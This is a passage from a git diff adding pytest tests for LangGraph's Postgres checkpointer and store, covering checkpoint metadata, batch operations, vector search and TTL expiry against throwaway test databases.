AsyncConnection.connect( + DEFAULT_POSTGRES_URI + database, + autocommit=True, + prepare_threshold=0, + row_factory=dict_row, + ) as conn: + checkpointer = AsyncPostgresSaver(conn) + await checkpointer.setup() + async with conn.pipeline() as pipe: + checkpointer = AsyncPostgresSaver(conn, pipe=pipe) + yield checkpointer + finally: + # drop unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _base_saver(): + """Fixture for regular connection mode testing.""" + database = f"test_{uuid4().hex[:16]}" + # create unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI + database, + autocommit=True, + prepare_threshold=0, + row_factory=dict_row, + ) as conn: + checkpointer = AsyncPostgresSaver(conn) + await checkpointer.setup() + yield checkpointer + finally: + # drop unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _shallow_saver(): + """Fixture for shallow connection mode testing.""" + database = f"test_{uuid4().hex[:16]}" + # create unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI + database, + autocommit=True, + prepare_threshold=0, + row_factory=dict_row, + ) as conn: + checkpointer = AsyncShallowPostgresSaver(conn) + await checkpointer.setup() + yield checkpointer + finally: + # drop unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _saver(name: str): + if name == "base": + async with _base_saver() as saver: + yield saver + elif name == "shallow": + async with _shallow_saver() as saver: + yield saver + elif name == "pool": + async with _pool_saver() as saver: + yield saver + elif name == "pipe": + async with _pipe_saver() as saver: + yield saver + + +@pytest.fixture +def test_data(): + """Fixture providing test data for checkpoint tests.""" + config_1: RunnableConfig = { + "configurable": { + "thread_id": "thread-1", + "checkpoint_id": "1", + "checkpoint_ns": "", + } + } + config_2: RunnableConfig = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_id": "2", + "checkpoint_ns": "", + } + } + config_3: RunnableConfig = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_id": "2-inner", + "checkpoint_ns": "inner", + } + } + + chkpnt_1: Checkpoint = empty_checkpoint() + chkpnt_2: Checkpoint = create_checkpoint(chkpnt_1, {}, 1) + chkpnt_3: Checkpoint = empty_checkpoint() + + metadata_1: CheckpointMetadata = { + "source": "input", + "step": 2, + "score": 1, + } + metadata_2: CheckpointMetadata = { + "source": "loop", + "step": 1, + "score": None, + } + metadata_3: CheckpointMetadata = {} + + return { + "configs": [config_1, config_2, config_3], + "checkpoints": [chkpnt_1, chkpnt_2, chkpnt_3], + "metadata": [metadata_1, metadata_2, metadata_3], + } + + +@pytest.mark.parametrize("saver_name", ["base", "pool", "pipe", "shallow"]) +async def test_combined_metadata(saver_name: str, test_data) -> None: + async with _saver(saver_name) as saver: + config = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_ns": "", + "__super_private_key": "super_private_value", + }, + "metadata": {"run_id": "my_run_id"}, + } + chkpnt: Checkpoint = create_checkpoint(empty_checkpoint(), {}, 1) + metadata: CheckpointMetadata = { + "source": "loop", + "step": 1, + "score": None, + } + await saver.aput(config, chkpnt, metadata, {}) + checkpoint = await saver.aget_tuple(config) + assert checkpoint.metadata == { + **metadata, + "run_id": "my_run_id", + } + + +@pytest.mark.parametrize("saver_name", ["base", "pool", "pipe", "shallow"]) +async def test_asearch(saver_name: str, test_data) -> None: + async with _saver(saver_name) as saver: + configs = test_data["configs"] + checkpoints = test_data["checkpoints"] + metadata = test_data["metadata"] + + await saver.aput(configs[0], checkpoints[0], metadata[0], {}) + await saver.aput(configs[1], checkpoints[1], metadata[1], {}) + await saver.aput(configs[2], checkpoints[2], metadata[2], {}) + + # call method / assertions + query_1 = {"source": "input"} # search by 1 key + query_2 = { + "step": 1, + } # search by multiple keys + query_3: dict[str, Any] = {} # search by no keys, return all checkpoints + query_4 = {"source": "update", "step": 1} # no match + + search_results_1 = [c async for c in saver.alist(None, filter=query_1)] + assert len(search_results_1) == 1 + assert search_results_1[0].metadata == { + **_exclude_keys(configs[0]["configurable"]), + **metadata[0], + } + + search_results_2 = [c async for c in saver.alist(None, filter=query_2)] + assert len(search_results_2) == 1 + assert search_results_2[0].metadata == { + **_exclude_keys(configs[1]["configurable"]), + **metadata[1], + } + + search_results_3 = [c async for c in saver.alist(None, filter=query_3)] + assert len(search_results_3) == 3 + + search_results_4 = [c async for c in saver.alist(None, filter=query_4)] + assert len(search_results_4) == 0 + + # search by config (defaults to checkpoints across all namespaces) + search_results_5 = [ + c async for c in saver.alist({"configurable": {"thread_id": "thread-2"}}) + ] + assert len(search_results_5) == 2 + assert { + search_results_5[0].config["configurable"]["checkpoint_ns"], + search_results_5[1].config["configurable"]["checkpoint_ns"], + } == {"", "inner"} + + +@pytest.mark.parametrize("saver_name", ["base", "pool", "pipe", "shallow"]) +async def test_null_chars(saver_name: str, test_data) -> None: + async with _saver(saver_name) as saver: + config = await saver.aput( + test_data["configs"][0], + test_data["checkpoints"][0], + {"my_key": "\x00abc"}, + {}, + ) + assert (await saver.aget_tuple(config)).metadata["my_key"] == "abc" # type: ignore + assert [c async for c in saver.alist(None, filter={"my_key": "abc"})][ + 0 + ].metadata["my_key"] == "abc" + + +@pytest.mark.parametrize("saver_name", ["base", "pool", "pipe"]) +async def test_pending_sends_migration(saver_name: str) -> None: + async with _saver(saver_name) as saver: + config = { + "configurable": { + "thread_id": "thread-1", + "checkpoint_ns": "", + } + } + + # create the first checkpoint + # and put some pending sends + checkpoint_0 = empty_checkpoint() + config = await saver.aput(config, checkpoint_0, {}, {}) + await saver.aput_writes( + config, [(TASKS, "send-1"), (TASKS, "send-2")], task_id="task-1" + ) + await saver.aput_writes(config, [(TASKS, "send-3")], task_id="task-2") + + # check that fetching checkpoint_0 doesn't attach pending sends + # (they should be attached to the next checkpoint) + tuple_0 = await saver.aget_tuple(config) + assert tuple_0.checkpoint["channel_values"] == {} + assert tuple_0.checkpoint["channel_versions"] == {} + + # create the second checkpoint + checkpoint_1 = create_checkpoint(checkpoint_0, {}, 1) + config = await saver.aput(config, checkpoint_1, {}, {}) + + # check that pending sends are attached to checkpoint_1 + tuple_1 = await saver.aget_tuple(config) + assert tuple_1.checkpoint["channel_values"] == { + TASKS: ["send-1", "send-2", "send-3"] + } + assert TASKS in tuple_1.checkpoint["channel_versions"] + + # check that list also applies the migration + search_results = [ + c async for c in saver.alist({"configurable": {"thread_id": "thread-1"}}) + ] + assert len(search_results) == 2 + assert search_results[-1].checkpoint["channel_values"] == {} + assert search_results[-1].checkpoint["channel_versions"] == {} + assert search_results[0].checkpoint["channel_values"] == { + TASKS: ["send-1", "send-2", "send-3"] + } + assert TASKS in search_results[0].checkpoint["channel_versions"] + + +@pytest.mark.parametrize("saver_name", ["base", "pool", "pipe"]) +async def test_get_checkpoint_no_channel_values( + monkeypatch, saver_name: str, test_data +) -> None: + """Backwards compatibility test that verifies a checkpoint with no channel_values key can be retrieved without throwing an error.""" + async with _saver(saver_name) as saver: + config = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_ns": "", + "__super_private_key": "super_private_value", + }, + "metadata": {"run_id": "my_run_id"}, + } + chkpnt: Checkpoint = create_checkpoint(empty_checkpoint(), {}, 1) + await saver.aput(config, chkpnt, {}, {}) + + load_checkpoint_tuple = saver._load_checkpoint_tuple + + async def patched_load_checkpoint_tuple(value): + value["checkpoint"].pop("channel_values", None) + return await load_checkpoint_tuple(value) + + monkeypatch.setattr( + saver, "_load_checkpoint_tuple", patched_load_checkpoint_tuple + ) + + checkpoint = await saver.aget_tuple(config) + assert checkpoint.checkpoint["channel_values"] == {} + + +@pytest.mark.parametrize("saver_name", ["base", "pool", "pipe"]) +async def test_delta_channel_chain_reconstruction(saver_name: str) -> None: + """AsyncPostgresSaver reconstructs DeltaChannel chain via point-lookup traversal.""" + pytest.importorskip( + "langgraph.channels.delta", reason="langgraph core not installed" + ) + + from typing import Annotated + + from langchain_core.messages import AIMessage, HumanMessage + from langgraph.channels.delta import DeltaChannel + from langgraph.graph import START, StateGraph + from langgraph.graph.message import _messages_delta_reducer + from typing_extensions import TypedDict + + class State(TypedDict): + messages: Annotated[list, DeltaChannel(_messages_delta_reducer)] + + def respond(state: State) -> dict: + n = len(state["messages"]) + return {"messages": [AIMessage(content=f"reply-{n}", id=f"ai-{n}")]} + + builder = StateGraph(State) + builder.add_node("respond", respond) + builder.add_edge(START, "respond") + + async with _saver(saver_name) as saver: + graph = builder.compile(checkpointer=saver) + config = {"configurable": {"thread_id": "diff-channel-test-1"}} + + await graph.ainvoke({"messages": [HumanMessage(content="hi", id="h1")]}, config) + await graph.ainvoke( + {"messages": [HumanMessage(content="there", id="h2")]}, config + ) + + state = await graph.aget_state(config) + msgs = state.values["messages"] + assert len(msgs) == 4, f"expected 4, got {len(msgs)}: {msgs}" + assert msgs[0].content == "hi" + assert msgs[1].content == "reply-1" + assert msgs[2].content == "there" + assert msgs[3].content == "reply-3" diff --git a/libs/checkpoint-postgres/tests/test_async_store.py b/libs/checkpoint-postgres/tests/test_async_store.py new file mode 100644 index 0000000..97d3dfd --- /dev/null +++ b/libs/checkpoint-postgres/tests/test_async_store.py @@ -0,0 +1,741 @@ +# type: ignore +from __future__ import annotations + +import asyncio +import itertools +import uuid +from collections.abc import AsyncIterator +from concurrent.futures import ThreadPoolExecutor +from contextlib import asynccontextmanager +from typing import Any + +import pytest +from langchain_core.embeddings import Embeddings +from langgraph.store.base import ( + GetOp, + Item, + ListNamespacesOp, + PutOp, + SearchOp, +) +from psycopg import AsyncConnection + +from langgraph.checkpoint.postgres import _ainternal +from langgraph.store.postgres import AsyncPostgresStore +from tests.conftest import ( + DEFAULT_URI, + VECTOR_TYPES, + CharacterEmbeddings, +) + +TTL_SECONDS = 6 +TTL_MINUTES = TTL_SECONDS / 60 + + +@pytest.fixture(scope="function", params=["default", "pipe", "pool"]) +async def store(request) -> AsyncIterator[AsyncPostgresStore]: + database = f"test_{uuid.uuid4().hex[:16]}" + uri_parts = DEFAULT_URI.split("/") + uri_base = "/".join(uri_parts[:-1]) + query_params = "" + if "?" in uri_parts[-1]: + db_name, query_params = uri_parts[-1].split("?", 1) + query_params = "?" + query_params + + conn_string = f"{uri_base}/{database}{query_params}" + admin_conn_string = DEFAULT_URI + ttl_config = { + "default_ttl": TTL_MINUTES, + "refresh_on_read": True, + "sweep_interval_minutes": TTL_MINUTES / 2, + } + async with await AsyncConnection.connect( + admin_conn_string, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + async with AsyncPostgresStore.from_conn_string( + conn_string, ttl=ttl_config + ) as store: + store.MIGRATIONS = [ + ( + mig.replace("ttl_minutes INT;", "ttl_minutes FLOAT;") + if isinstance(mig, str) + else mig + ) + for mig in store.MIGRATIONS + ] + await store.setup() + async with store._cursor() as cur: + # drop the migration index + await cur.execute("DROP TABLE IF EXISTS store_migrations") + await store.setup() # Will fail if migrations aren't idempotent + + if request.param == "pipe": + async with AsyncPostgresStore.from_conn_string( + conn_string, pipeline=True, ttl=ttl_config + ) as store: + await store.start_ttl_sweeper() + yield store + await store.stop_ttl_sweeper() + elif request.param == "pool": + async with AsyncPostgresStore.from_conn_string( + conn_string, pool_config={"min_size": 1, "max_size": 10}, ttl=ttl_config + ) as store: + await store.start_ttl_sweeper() + yield store + await store.stop_ttl_sweeper() + else: # default + async with AsyncPostgresStore.from_conn_string( + conn_string, ttl=ttl_config + ) as store: + await store.start_ttl_sweeper() + yield store + await store.stop_ttl_sweeper() + finally: + async with await AsyncConnection.connect( + admin_conn_string, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +async def test_no_running_loop(store: AsyncPostgresStore) -> None: + with pytest.raises(asyncio.InvalidStateError): + store.put(("foo", "bar"), "baz", {"val": "baz"}) + with pytest.raises(asyncio.InvalidStateError): + store.get(("foo", "bar"), "baz") + with pytest.raises(asyncio.InvalidStateError): + store.delete(("foo", "bar"), "baz") + with pytest.raises(asyncio.InvalidStateError): + store.search(("foo", "bar")) + with pytest.raises(asyncio.InvalidStateError): + store.list_namespaces(prefix=("foo",)) + with pytest.raises(asyncio.InvalidStateError): + store.batch([PutOp(namespace=("foo", "bar"), key="baz", value={"val": "baz"})]) + with ThreadPoolExecutor(max_workers=1) as executor: + future = executor.submit(store.put, ("foo", "bar"), "baz", {"val": "baz"}) + result = await asyncio.wrap_future(future) + assert result is None + future = executor.submit(store.get, ("foo", "bar"), "baz") + result = await asyncio.wrap_future(future) + assert result.value == {"val": "baz"} + result = await asyncio.wrap_future( + executor.submit(store.list_namespaces, prefix=("foo",)) + ) + + +async def test_large_batches(request: Any, store: AsyncPostgresStore) -> None: + N = 100 # less important that we are performant here + M = 10 + + with ThreadPoolExecutor(max_workers=10) as executor: + futures = [] + for m in range(M): + for i in range(N): + futures += [ + executor.submit( + store.put, + ("test", "foo", "bar", "baz", str(m % 2)), + f"key{i}", + value={"foo": "bar" + str(i)}, + ), + executor.submit( + store.get, + ("test", "foo", "bar", "baz", str(m % 2)), + f"key{i}", + ), + executor.submit( + store.list_namespaces, + prefix=None, + max_depth=m + 1, + ), + executor.submit( + store.search, + ("test",), + ), + executor.submit( + store.put, + ("test", "foo", "bar", "baz", str(m % 2)), + f"key{i}", + value={"foo": "bar" + str(i)}, + ), + executor.submit( + store.put, + ("test", "foo", "bar", "baz", str(m % 2)), + f"key{i}", + None, + ), + ] + + results = await asyncio.gather( + *(asyncio.wrap_future(future) for future in futures) + ) + assert len(results) == M * N * 6 + + +async def test_large_batches_async(store: AsyncPostgresStore) -> None: + N = 1000 + M = 10 + coros = [] + for m in range(M): + for i in range(N): + coros.append( + store.aput( + ("test", "foo", "bar", "baz", str(m % 2)), + f"key{i}", + value={"foo": "bar" + str(i)}, + ) + ) + coros.append( + store.aget( + ("test", "foo", "bar", "baz", str(m % 2)), + f"key{i}", + ) + ) + coros.append( + store.alist_namespaces( + prefix=None, + max_depth=m + 1, + ) + ) + coros.append( + store.asearch( + ("test",), + ) + ) + coros.append( + store.aput( + ("test", "foo", "bar", "baz", str(m % 2)), + f"key{i}", + value={"foo": "bar" + str(i)}, + ) + ) + coros.append( + store.adelete( + ("test", "foo", "bar", "baz", str(m % 2)), + f"key{i}", + ) + ) + + results = await asyncio.gather(*coros) + assert len(results) == M * N * 6 + + +async def test_abatch_order(store: AsyncPostgresStore) -> None: + # Setup test data + await store.aput(("test", "foo"), "key1", {"data": "value1"}) + await store.aput(("test", "bar"), "key2", {"data": "value2"}) + + ops = [ + GetOp(namespace=("test", "foo"), key="key1"), + PutOp(namespace=("test", "bar"), key="key2", value={"data": "value2"}), + SearchOp( + namespace_prefix=("test",), filter={"data": "value1"}, limit=10, offset=0 + ), + ListNamespacesOp(match_conditions=None, max_depth=None, limit=10, offset=0), + GetOp(namespace=("test",), key="key3"), + ] + + results = await store.abatch(ops) + assert len(results) == 5 + assert isinstance(results[0], Item) + assert isinstance(results[0].value, dict) + assert results[0].value == {"data": "value1"} + assert results[0].key == "key1" + assert results[1] is None + assert isinstance(results[2], list) + assert len(results[2]) == 1 + assert isinstance(results[3], list) + assert ("test", "foo") in results[3] and ("test", "bar") in results[3] + assert results[4] is None + + ops_reordered = [ + SearchOp(namespace_prefix=("test",), filter=None, limit=5, offset=0), + GetOp(namespace=("test", "bar"), key="key2"), + ListNamespacesOp(match_conditions=None, max_depth=None, limit=5, offset=0), + PutOp(namespace=("test",), key="key3", value={"data": "value3"}), + GetOp(namespace=("test", "foo"), key="key1"), + ] + + results_reordered = await store.abatch(ops_reordered) + assert len(results_reordered) == 5 + assert isinstance(results_reordered[0], list) + assert len(results_reordered[0]) == 2 + assert isinstance(results_reordered[1], Item) + assert results_reordered[1].value == {"data": "value2"} + assert results_reordered[1].key == "key2" + assert isinstance(results_reordered[2], list) + assert ("test", "foo") in results_reordered[2] and ( + "test", + "bar", + ) in results_reordered[2] + assert results_reordered[3] is None + assert isinstance(results_reordered[4], Item) + assert results_reordered[4].value == {"data": "value1"} + assert results_reordered[4].key == "key1" + + +async def test_batch_get_ops(store: AsyncPostgresStore) -> None: + # Setup test data + await store.aput(("test",), "key1", {"data": "value1"}) + await store.aput(("test",), "key2", {"data": "value2"}) + + ops = [ + GetOp(namespace=("test",), key="key1"), + GetOp(namespace=("test",), key="key2"), + GetOp(namespace=("test",), key="key3"), + ] + + results = await store.abatch(ops) + + assert len(results) == 3 + assert results[0] is not None + assert results[1] is not None + assert results[2] is None + assert results[0].key == "key1" + assert results[1].key == "key2" + + +async def test_batch_put_ops(store: AsyncPostgresStore) -> None: + ops = [ + PutOp(namespace=("test",), key="key1", value={"data": "value1"}), + PutOp(namespace=("test",), key="key2", value={"data": "value2"}), + PutOp(namespace=("test",), key="key3", value=None), + ] + + results = await store.abatch(ops) + + assert len(results) == 3 + assert all(result is None for result in results) + + # Verify the puts worked + items = await store.asearch(["test"], limit=10) + assert len(items) == 2 # key3 had None value so wasn't stored + + +async def test_batch_search_ops(store: AsyncPostgresStore) -> None: + # Setup test data + await store.aput(("test", "foo"), "key1", {"data": "value1"}) + await store.aput(("test", "bar"), "key2", {"data": "value2"}) + + ops = [ + SearchOp( + namespace_prefix=("test",), filter={"data": "value1"}, limit=10, offset=0 + ), + SearchOp(namespace_prefix=("test",), filter=None, limit=5, offset=0), + ] + + results = await store.abatch(ops) + + assert len(results) == 2 + assert len(results[0]) == 1 # Filtered results + assert len(results[1]) == 2 # All results + + +async def test_batch_list_namespaces_ops(store: AsyncPostgresStore) -> None: + # Setup test data + await store.aput(("test", "namespace1"), "key1", {"data": "value1"}) + await store.aput(("test", "namespace2"), "key2", {"data": "value2"}) + + ops = [ListNamespacesOp(match_conditions=None, max_depth=None, limit=10, offset=0)] + + results = await store.abatch(ops) + + assert len(results) == 1 + assert len(results[0]) == 2 + assert ("test", "namespace1") in results[0] + assert ("test", "namespace2") in results[0] + + +@asynccontextmanager +async def _create_pool_store() -> AsyncIterator[AsyncPostgresStore]: + database = f"test_{uuid.uuid4().hex[:16]}" + uri_parts = DEFAULT_URI.split("/") + uri_base = "/".join(uri_parts[:-1]) + query_params = "" + if "?" in uri_parts[-1]: + _, query_params = uri_parts[-1].split("?", 1) + query_params = "?" + query_params + + conn_string = f"{uri_base}/{database}{query_params}" + admin_conn_string = DEFAULT_URI + async with await AsyncConnection.connect( + admin_conn_string, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + async with AsyncPostgresStore.from_conn_string( + conn_string, pool_config={"min_size": 1, "max_size": 1} + ) as store: + await store.setup() + yield store + finally: + async with await AsyncConnection.connect( + admin_conn_string, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +async def test_abatch_uses_single_pool_checkout(monkeypatch) -> None: + async with _create_pool_store() as store: + await store.aput(("test",), "key1", {"data": "value1"}) + + original_get_connection = _ainternal.get_connection + checkout_count = 0 + + @asynccontextmanager + async def counting_get_connection(conn): + nonlocal checkout_count + checkout_count += 1 + async with original_get_connection(conn) as checked_out_conn: + yield checked_out_conn + + monkeypatch.setattr(_ainternal, "get_connection", counting_get_connection) + + results = await store.abatch([GetOp(namespace=("test",), key="key1")]) + + assert len(results) == 1 + assert results[0] is not None + assert results[0].value == {"data": "value1"} + assert checkout_count == 1 + + +@asynccontextmanager +async def _create_vector_store( + vector_type: str, + distance_type: str, + fake_embeddings: CharacterEmbeddings, + text_fields: list[str] | None = None, +) -> AsyncIterator[AsyncPostgresStore]: + """Create a store with vector search enabled.""" + + database = f"test_{uuid.uuid4().hex[:16]}" + uri_parts = DEFAULT_URI.split("/") + uri_base = "/".join(uri_parts[:-1]) + query_params = "" + if "?" in uri_parts[-1]: + db_name, query_params = uri_parts[-1].split("?", 1) + query_params = "?" + query_params + + conn_string = f"{uri_base}/{database}{query_params}" + admin_conn_string = DEFAULT_URI + + index_config = { + "dims": fake_embeddings.dims, + "embed": fake_embeddings, + "ann_index_config": { + "vector_type": vector_type, + }, + "distance_type": distance_type, + "fields": text_fields, + } + + async with await AsyncConnection.connect( + admin_conn_string, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + async with AsyncPostgresStore.from_conn_string( + conn_string, + index=index_config, + ) as store: + await store.setup() + yield store + finally: + async with await AsyncConnection.connect( + admin_conn_string, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +@pytest.fixture( + scope="function", + params=[ + (vector_type, distance_type) + for vector_type in VECTOR_TYPES + for distance_type in ( + ["hamming"] if vector_type == "bit" else ["l2", "inner_product", "cosine"] + ) + ], + ids=lambda p: f"{p[0]}_{p[1]}", +) +async def vector_store( + request, + fake_embeddings: CharacterEmbeddings, +) -> AsyncIterator[AsyncPostgresStore]: + """Create a store with vector search enabled.""" + vector_type, distance_type = request.param + async with _create_vector_store( + vector_type, distance_type, fake_embeddings + ) as store: + yield store + + +async def test_vector_store_initialization( + vector_store: AsyncPostgresStore, fake_embeddings: CharacterEmbeddings +) -> None: + """Test store initialization with embedding config.""" + assert vector_store.index_config is not None + assert vector_store.index_config["dims"] == fake_embeddings.dims + if isinstance(vector_store.index_config["embed"], Embeddings): + assert vector_store.index_config["embed"] == fake_embeddings + + +async def test_vector_insert_with_auto_embedding( + vector_store: AsyncPostgresStore, +) -> None: + """Test inserting items that get auto-embedded.""" + docs = [ + ("doc1", {"text": "short text"}), + ("doc2", {"text": "longer text document"}), + ("doc3", {"text": "longest text document here"}), + ("doc4", {"description": "text in description field"}), + ("doc5", {"content": "text in content field"}), + ("doc6", {"body": "text in body field"}), + ] + + for key, value in docs: + await vector_store.aput(("test",), key, value) + + results = await vector_store.asearch(("test",), query="long text") + assert len(results) > 0 + + doc_order = [r.key for r in results] + assert "doc2" in doc_order + assert "doc3" in doc_order + + +async def test_vector_update_with_embedding(vector_store: AsyncPostgresStore) -> None: + """Test that updating items properly updates their embeddings.""" + await vector_store.aput(("test",), "doc1", {"text": "zany zebra Xerxes"}) + await vector_store.aput(("test",), "doc2", {"text": "something about dogs"}) + await vector_store.aput(("test",), "doc3", {"text": "text about birds"}) + + results_initial = await vector_store.asearch(("test",), query="Zany Xerxes") + assert len(results_initial) > 0 + assert results_initial[0].key == "doc1" + initial_score = results_initial[0].score + + await vector_store.aput(("test",), "doc1", {"text": "new text about dogs"}) + + results_after = await vector_store.asearch(("test",), query="Zany Xerxes") + after_score = next((r.score for r in results_after if r.key == "doc1"), 0.0) + assert after_score < initial_score + + results_new = await vector_store.asearch(("test",), query="new text about dogs") + for r in results_new: + if r.key == "doc1": + assert r.score > after_score + + # Don't index this one + await vector_store.aput( + ("test",), "doc4", {"text": "new text about dogs"}, index=False + ) + results_new = await vector_store.asearch( + ("test",), query="new text about dogs", limit=3 + ) + assert not any(r.key == "doc4" for r in results_new) + + +async def test_vector_search_with_filters(vector_store: AsyncPostgresStore) -> None: + """Test combining vector search with filters.""" + docs = [ + ("doc1", {"text": "red apple", "color": "red", "score": 4.5}), + ("doc2", {"text": "red car", "color": "red", "score": 3.0}), + ("doc3", {"text": "green apple", "color": "green", "score": 4.0}), + ("doc4", {"text": "blue car", "color": "blue", "score": 3.5}), + ] + + for key, value in docs: + await vector_store.aput(("test",), key, value) + + results = await vector_store.asearch( + ("test",), query="apple", filter={"color": "red"} + ) + assert len(results) == 2 + assert results[0].key == "doc1" + + results = await vector_store.asearch( + ("test",), query="car", filter={"color": "red"} + ) + assert len(results) == 2 + assert results[0].key == "doc2" + + results = await vector_store.asearch( + ("test",), query="bbbbluuu", filter={"score": {"$gt": 3.2}} + ) + assert len(results) == 3 + assert results[0].key == "doc4" + + results = await vector_store.asearch( + ("test",), query="apple", filter={"score": {"$gte": 4.0}, "color": "green"} + ) + assert len(results) == 1 + assert results[0].key == "doc3" + + +async def test_vector_search_pagination(vector_store: AsyncPostgresStore) -> None: + """Test pagination with vector search.""" + for i in range(5): + await vector_store.aput( + ("test",), f"doc{i}", {"text": f"test document number {i}"} + ) + + results_page1 = await vector_store.asearch(("test",), query="test", limit=2) + results_page2 = await vector_store.asearch( + ("test",), query="test", limit=2, offset=2 + ) + + assert len(results_page1) == 2 + assert len(results_page2) == 2 + assert results_page1[0].key != results_page2[0].key + + all_results = await vector_store.asearch(("test",), query="test", limit=10) + assert len(all_results) == 5 + + +async def test_vector_search_edge_cases(vector_store: AsyncPostgresStore) -> None: + """Test edge cases in vector search.""" + await vector_store.aput(("test",), "doc1", {"text": "test document"}) + + perfect_match = await vector_store.asearch(("test",), query="text test document") + perfect_score = perfect_match[0].score + + results = await vector_store.asearch(("test",), query="") + assert len(results) == 1 + assert results[0].score is None + + results = await vector_store.asearch(("test",), query=None) + assert len(results) == 1 + assert results[0].score is None + + long_query = "foo " * 100 + results = await vector_store.asearch(("test",), query=long_query) + assert len(results) == 1 + assert results[0].score < perfect_score + + special_query = "test!@#$%^&*()" + results = await vector_store.asearch(("test",), query=special_query) + assert len(results) == 1 + assert results[0].score < perfect_score + + +@pytest.mark.parametrize( + "vector_type,distance_type", + [ + *itertools.product(["vector", "halfvec"], ["cosine", "inner_product", "l2"]), + ], +) +async def test_embed_with_path( + request: Any, + fake_embeddings: CharacterEmbeddings, + vector_type: str, + distance_type: str, +) -> None: + """Test vector search with specific text fields in Postgres store.""" + async with _create_vector_store( + vector_type, + distance_type, + fake_embeddings, + text_fields=["key0", "key1", "key3"], + ) as store: + # This will have 2 vectors representing it + doc1 = { + # Omit key0 - check it doesn't raise an error + "key1": "xxx", + "key2": "yyy", + "key3": "zzz", + } + # This will have 3 vectors representing it + doc2 = { + "key0": "uuu", + "key1": "vvv", + "key2": "www", + "key3": "xxx", + } + await store.aput(("test",), "doc1", doc1) + await store.aput(("test",), "doc2", doc2) + + # doc2.key3 and doc1.key1 both would have the highest score + results = await store.asearch(("test",), query="xxx") + assert len(results) == 2 + assert results[0].key != results[1].key + ascore = results[0].score + bscore = results[1].score + assert ascore == pytest.approx(bscore, abs=1e-3) + + results = await store.asearch(("test",), query="uuu") + assert len(results) == 2 + assert results[0].key != results[1].key + assert results[0].key == "doc2" + assert results[0].score > results[1].score + assert ascore == pytest.approx(results[0].score, abs=1e-3) + + # Un-indexed - will have low results for both. Not zero (because we're projecting) + # but less than the above. + results = await store.asearch(("test",), query="www") + assert len(results) == 2 + assert results[0].score < ascore + assert results[1].score < ascore + + +@pytest.mark.parametrize( + "vector_type,distance_type", + [ + *itertools.product(["vector", "halfvec"], ["cosine", "inner_product", "l2"]), + ], +) +async def test_search_sorting( + request: Any, + fake_embeddings: CharacterEmbeddings, + vector_type: str, + distance_type: str, +) -> None: + """Test operation-level field configuration for vector search.""" + async with _create_vector_store( + vector_type, + distance_type, + fake_embeddings, + text_fields=["key1"], # Default fields that won't match our test data + ) as store: + amatch = { + "key1": "mmm", + } + + await store.aput(("test", "M"), "M", amatch) + N = 100 + for i in range(N): + await store.aput(("test", "A"), f"A{i}", {"key1": "no"}) + for i in range(N): + await store.aput(("test", "Z"), f"Z{i}", {"key1": "no"}) + + results = await store.asearch(("test",), query="mmm", limit=10) + assert len(results) == 10 + assert len(set(r.key for r in results)) == 10 + assert results[0].key == "M" + assert results[0].score > results[1].score + + +async def test_store_ttl(store): + # Assumes a TTL of 1 minute = 60 seconds + ns = ("foo",) + await store.start_ttl_sweeper() + await store.aput( + ns, + key="item1", + value={"foo": "bar"}, + ttl=TTL_MINUTES, # type: ignore + ) + await asyncio.sleep(TTL_SECONDS - 2) + res = await store.aget(ns, key="item1", refresh_ttl=True) + assert res is not None + await asyncio.sleep(TTL_SECONDS - 2) + results = await store.asearch(ns, query="foo", refresh_ttl=True) + assert len(results) == 1 + await asyncio.sleep(TTL_SECONDS - 2) + res = await store.aget(ns, key="item1", refresh_ttl=False) + assert res is not None + await asyncio.sleep(TTL_SECONDS - 1) + # Now has been (TTL_SECONDS-2)*2 > TTL_SECONDS + TTL_SECONDS/2 + results = await store.asearch(ns, query="bar", refresh_ttl=False) + assert len(results) == 0 diff --git a/libs/checkpoint-postgres/tests/test_store.py b/libs/checkpoint-postgres/tests/test_store.py new file mode 100644 index 0000000..ac8d165 --- /dev/null +++ b/libs/checkpoint-postgres/tests/test_store.py @@ -0,0 +1,901 @@ +# type: ignore +from __future__ import annotations + +import re +import time +from contextlib import contextmanager +from typing import Any +from uuid import uuid4 + +import pytest +from langchain_core.embeddings import Embeddings +from langgraph.store.base import ( + GetOp, + Item, + ListNamespacesOp, + MatchCondition, + PutOp, + SearchOp, +) +from psycopg import Connection + +from langgraph.store.postgres import PostgresStore +from tests.conftest import ( + DEFAULT_URI, + VECTOR_TYPES, + CharacterEmbeddings, +) + +TTL_SECONDS = 6 +TTL_MINUTES = TTL_SECONDS / 60 + + +@pytest.fixture(scope="function", params=["default", "pipe", "pool"]) +def store(request) -> PostgresStore: + database = f"test_{uuid4().hex[:16]}" + uri_parts = DEFAULT_URI.split("/") + uri_base = "/".join(uri_parts[:-1]) + query_params = "" + if "?" in uri_parts[-1]: + _, query_params = uri_parts[-1].split("?", 1) + query_params = "?" + query_params + + conn_string = f"{uri_base}/{database}{query_params}" + admin_conn_string = DEFAULT_URI + ttl_config = { + "default_ttl": TTL_MINUTES, + "refresh_on_read": True, + "sweep_interval_minutes": TTL_MINUTES / 2, + } + with Connection.connect(admin_conn_string, 